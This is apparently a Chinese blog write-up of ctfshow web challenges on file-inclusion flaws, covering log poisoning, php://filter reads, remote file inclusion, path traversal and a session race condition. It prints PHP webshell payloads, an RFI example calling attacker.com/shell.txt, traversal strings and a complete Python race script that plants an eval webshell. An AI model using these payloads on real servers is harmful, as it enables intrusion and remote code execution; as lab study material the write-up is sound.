渗透知识ctfshow——Web应用安全与防护(三)

本文针对文件包含漏洞的利用与绕过技术进行了系统性总结。文章涵盖日志文件包含、利用php://filter伪协议读取源码、远程文件包含(RFI)、路径遍历突破以及临时文件包含等核心模块。

  • 各部分结合漏洞成因与底层代码分析,详细阐述了相应的绕过方法与测试思路。该文档可作为网络安全从业者及CTF选手进行漏洞研究与复现的参考材料。

文章目录


日志文件包含

适合纯新手入门使用,难度极低。

这里我们打开网页,得到如下页面:

这里随便输入一个命令/etc/passwd ,看看结果:

这里还想尝试访问其他的文件夹,但是提示" Warning include(/root): failed to open stream: Permission denied in "

没有权限进入;

原因: Web 服务(如 Apache、Nginx)通常以低权限用户(通常是 www-datanobody)运行。

绕过方法

这里既然没有权限访问其他文件,所以需要将目标转向 Web 服务用户具有读取权限的日志文件 或其他系统文件

常见的日志文件路径如下:

  • Apache:
    • /var/log/apache2/access.log
    • /var/log/apache2/error.log
    • /var/log/httpd/access.log
  • Nginx:
    • /var/log/nginx/access.log
    • /var/log/nginx/error.log
  • SSH 日志 (如果开放了 SSH 且权限配置不当):
    • /var/log/auth.log
    • /var/log/secure

经过尝试,成功在Nginx服务的access.log日志里发现我们的操作记录:

所以这里尝试输入一句话木马,记录到日志里(通常是修改UA头):

bash 复制代码
User-Agent: <?php system($_POST['cmd']); ?>

发送该请求。服务器处理后,这段 PHP 代码会作为一条普通日志记录被直接追加写入 /var/log/nginx/access.log

随后使用 Burp Suite 重放请求,假设原本用于传递文件路径的 POST 参数名为 file,构造payload如下:

bash 复制代码
file=/var/log/nginx/access.log&cmd=id

成功返回结果:

随后输入命令查找flag文件:

bash 复制代码
file=/var/log/nginx/access.log&cmd=find / -name "*flag*"

得到路径:/var/www/html/flag.php

查看结果即可:

php://filter读取源码

这一关与命令执行的关卡有点像:命令执行web34-37

既然是差不多的,那就尝试一下相应的payload:

bash 复制代码
php://filter/read=convert.base64-encode/resource=flag.php

但是并没有成功,换成普通的/etc/passwd 文件,一样查询失败:

难道代码错了?再尝试一下默认页面:index.php

bash 复制代码
# 相应payload
file=php://filter/read=convert.base64-encode/resource=index.php

得到结果:

进行base64解码后,页面核心代码如下:

bash 复制代码
<?php
include "db.php";

function validate_file_contents($file) {
    // 校验正则:若包含字母、数字、斜杠、加号、等号之外的字符,则返回 false
    if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){
        return false;   
    }
    return true;
}

try {
    // 1. 输入路径过滤
    if (preg_match('/log|nginx|access/', $_POST['file'])) {
        throw new Exception('Invalid input. Please enter a valid file path.');
    }
    
    // 2. 文件读取(注意:这里使用的是 file_get_contents 而非 include)
    ob_start();
    echo file_get_contents($_POST['file']);
    $output = ob_get_clean();
    
    // 3. 输出内容过滤
    if(!validate_file_contents($output)){
        throw new Exception('Invalid input. Please enter a valid file path.');
    }else{
        echo 'File contents:';
        echo '<br>';
        echo $output;
    }
} catch (Exception $e) {
    echo 'Error: ' . htmlspecialchars($e->getMessage());
}
?>

代码分析

  1. 漏洞类型变更 (Arbitrary File Read):

    核心执行函数是 file_get_contents(),而不是 include()。这意味着传入的路径对应文件仅会被当作文本读取,即使写入了 PHP 恶意代码,也无法被 PHP 引擎解析执行。

  2. 双重过滤机制:

    • 输入路径黑名单 (preg_match('/log|nginx|access/', ...)): 明确封堵了读取常规日志文件的路径。
    • 输出内容白名单 (validate_file_contents): 这是导致读取 /etc/passwd 失败的根本原因。
    • 该正则 /[^a-zA-Z0-9\/\+=]/ 限制了读取到的文件内容 中只能包含 a-z, A-Z, 0-9, /, +, =/etc/passwd 内容中包含冒号(:)、换行符(\n)等符号,直接触发了拦截。

绕过方法

结合代码顶部的 include "db.php";,当前的解题目标大概率是读取 db.php 的源码以获取 Flag 或数据库凭证。

为了绕过 validate_file_contents 对文件内容的严格校验,利用 php://filter 将目标文件在后端读取时进行 Base64 编码,编码后的字符串完美契合正则白名单,即可成功回显。

所以正确payload如下:

http 复制代码
file=php://filter/read=convert.base64-encode/resource=db.php

将获取到的 Base64 字符串进行解码,即可得到完整的源代码。

远程文件包含(RFI)

适合纯新手入门使用,难度极低。

打开页面如下:

随后测试了一下文件目录,发现存在权限鉴别(也有可能是文件白名单):

访问成功的情况如下:

并且发现是GET传参:

漏洞原理:

  • RFI 核心机制与前提 RFI 的生效前提是目标服务器的 php.ini 中同时开启了 allow_url_fopen = Onallow_url_include = On(PHP 5.2 及以上版本默认 Off)

尝试利用上一关的PHP伪协议,进行绕过但还是失败了:

bash 复制代码
# <?php system($_POST['cmd']); ?> 编码结果
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfUE9TVFsnY21kJ10pOyA/Pg==

结果如下:

漏洞原因

当一段代码看起来像下面这样,且没有做任何过滤时,RFI 就诞生了:

bash 复制代码
<?php
    // 从 URL 获取文件名,例如 ?path=home.php
    $file = $_GET['path'];

    // 直接引入并执行该文件
    include($file); 
?>

攻击者会把参数替换为自己服务器上的恶意脚本:
?path=http://attacker.com/shell.txt

如果 shell.txt 的内容是 <?php system('ls'); ?>,受害服务器就会下载并在本地执行这个 ls 命令


绕过方法

在公网服务器上放一个 1.txt,内容为:<?php system('ls /'); ?>

确认其具备 RCE(远程命令执行)能力;

随后修改1.txt的命令,分别执行:

bash 复制代码
# 确定flag的位置
<?php system('find / -name "flag*" 2>/dev/null'); ?>

# 查看flag内容
<?php system('cat /var/www/html/flag.php'); ?>

成功得到结果:

路径遍历突破

适合纯新手入门使用,难度极低。

打开页面,得到提示:目标flag文件为/flag.txt

随便测试一下,发现做了过滤:

代码分析

然后这里查看一下页面的源码index.php,对其进行分析:

php 复制代码
<?php

if (isset($_GET['path']) && $_GET['path'] !== '') {
$path = $_GET['path'];
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
exit;
}

#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}

echo $path."内容为:\n";
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
} else {
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
}
?>
</div>
</div>
<div class="footer">
<span>⚡ Powered by <a href="https://ctf.show" target="_blank">ctfshow</a></span>
</div>
</div>
  1. 黑名单过滤preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path)
    • 封杀了常见的伪协议:data://php://filterzip:// 等。
    • 关键点 :它过滤了冒号 :。这意味着无法使用任何协议 ,包括 http://
  2. 路径开头限制preg_match('/^(\.|\/)/', $path)
    • 禁止以 /(根目录)开头。
    • 禁止以 .(当前目录或 ../ 穿越)开头。
  3. 函数调用 :使用的是 file_get_contents($path)
    • 这是一个文件读取函数,它不会像 include那样执行 PHP 代码,只会把文件内容读取出来并显示。

绕过方法

这里首先尝试绕过正则过滤在 path 前加了一个空格(%20)

bash 复制代码
?/path=%20/flag.txt

结果如下:

虽然绕过了正则,但是file_get_contents 会尝试寻找一个文件名叫"空格 + flag.txt"的文件。显然,根目录下没有这个文件,所以提示 No such file

网上WP

构造payload:

bash 复制代码
a/../../../../../../../flag.txt

这是因为:正则 ^(\.|\/) 只防开头,不限制中间的 ../ 而 file_get_contents() 则会自动解析相对路径中的 ..

又学到一招,也是第一次遇见。

--

临时文件包含

打开页面如下:

测试一下,发现可以正常输入;

并且 /tmp 目录也可以访问(可能此时并没有文件):

但是如果想要查看具体的文件内容就会被拒绝:

绕过思路

测试临时目录,需要确认 /tmp/ 目录本身是否被拉黑:

输入任意一个不存在的临时文件:/tmp/sess_flag123

说明 /tmp/ 目录和 sess_ 前缀都没有被 WAF (Web 应用防火墙) 拦截;

接下来的思路:"Session 包含 + 条件竞争"

  • 既然能包含 /tmp/ 下的文件,我们就可以利用 PHP 的 Session 机制强制在 /tmp/ 目录下生成一个包含我们恶意代码的临时文件;
  • 并在它被系统自动删除前,迅速包含它

创建的代码如下:

bash 复制代码
import requests
import threading

# 1. 替换成题目的真实 URL
url = 'http://xxx.challenge.ctf.show/' 

# 2. 我们要写入的 Session ID,PHP 会自动在前面加上 sess_
session_id = 'ctfshow' 

# 3. 核心 Payload:利用 file_put_contents 在网站根目录写入一个名为 shell.php 的一句话木马
# 为什么要写文件?因为直接执行 eval 的话,成功率受竞争时间影响,写个文件出来更稳。
payload = '<?php file_put_contents("/var/www/html/shell.php", "<?php eval($_POST[1]);?>"); echo "SUCCESS_SHELL";?>'

# 线程事件,用于在成功后停止所有线程
event = threading.Event()

def write_session():
    """不断发包,迫使服务器生成带有 payload 的 session 文件"""
    while not event.is_set():
        # 发送一个随便捏造的 txt 文件,触发 Upload Progress
        files = {'file': ('test.txt', 'a' * 1024)} 
        # 写入 payload
        data = {'PHP_SESSION_UPLOAD_PROGRESS': payload}
        # 携带我们指定的 PHPSESSID
        cookies = {'PHPSESSID': session_id}
        
        try:
            requests.post(url, files=files, data=data, cookies=cookies)
        except:
            pass

def read_session():
    """不断尝试包含那个刚刚生成的 session 文件"""
    while not event.is_set():
        # ★★★ 注意:这里的 payload 字典需要根据你抓包的结果修改!★★★
        # 假设题目通过 POST 方式的 'filename' 参数接收路径
        post_data = {'filename': f'/tmp/sess_{session_id}'} 
        
        try:
            res = requests.post(url, data=post_data)
            # 如果在返回的页面中看到了我们 payload echo 的特征字符串,说明竞争成功!
            if 'SUCCESS_SHELL' in res.text:
                print("\n[+] 包含成功!木马已写入!")
                print(f"[+] 请使用蚁剑或 HackBar 访问: {url}shell.php ,密码为: 1")
                event.set() # 停止所有线程
        except:
            pass

if __name__ == '__main__':
    print("[*] 开始条件竞争,请耐心等待...")
    
    # 开启 10 个写文件的线程
    for i in range(10):
        threading.Thread(target=write_session).start()
        
    # 开启 10 个读(包含)文件的线程
    for i in range(10):
        threading.Thread(target=read_session).start()

得到结果:CTF{fileupload_temp_file_include_success}

(需要点运气,多刷几次)

总结

期待下次再见;

相关推荐
Andya_net2 小时前
网络安全 | 如何通过CDN和WAF联动实现加速和安全双协同的网站防护体系
安全·web安全
y = xⁿ2 小时前
【保姆级 :图解MySQL 执行全链路讲解】主键索引扫描,全局扫描,索引下推还是分不清楚?这一篇就够啦
android·mysql
下北沢美食家2 小时前
React面试题2
前端·react.js·前端框架
qq_260241232 小时前
将盾CDN:网络安全情报共享的实践与挑战
网络·安全·web安全
摇滚侠2 小时前
HTML CSS 演示小米 logo 的变化 border-radius 属性设置圆角
前端·css·html
❆VE❆2 小时前
虚拟列表原理与实战运用场景详解
前端·javascript·css·vue.js·html·虚拟列表
weixin_408099672 小时前
【实战教程】EasyClick 调用 OCR 文字识别 API(自动识别屏幕文字 + 完整示例代码)
前端·人工智能·后端·ocr·api·安卓·easyclick
Bigger2 小时前
第四章:我是如何扒开 Claude Code 记忆与上下文压缩机制的
前端·claude·源码阅读
还在忙碌的吴小二2 小时前
在 Mac 上安装并通过端口调用 Chrome DevTools MCP Server(谷歌官方 MCP 服务器)
服务器·前端·chrome·macos·chrome devtools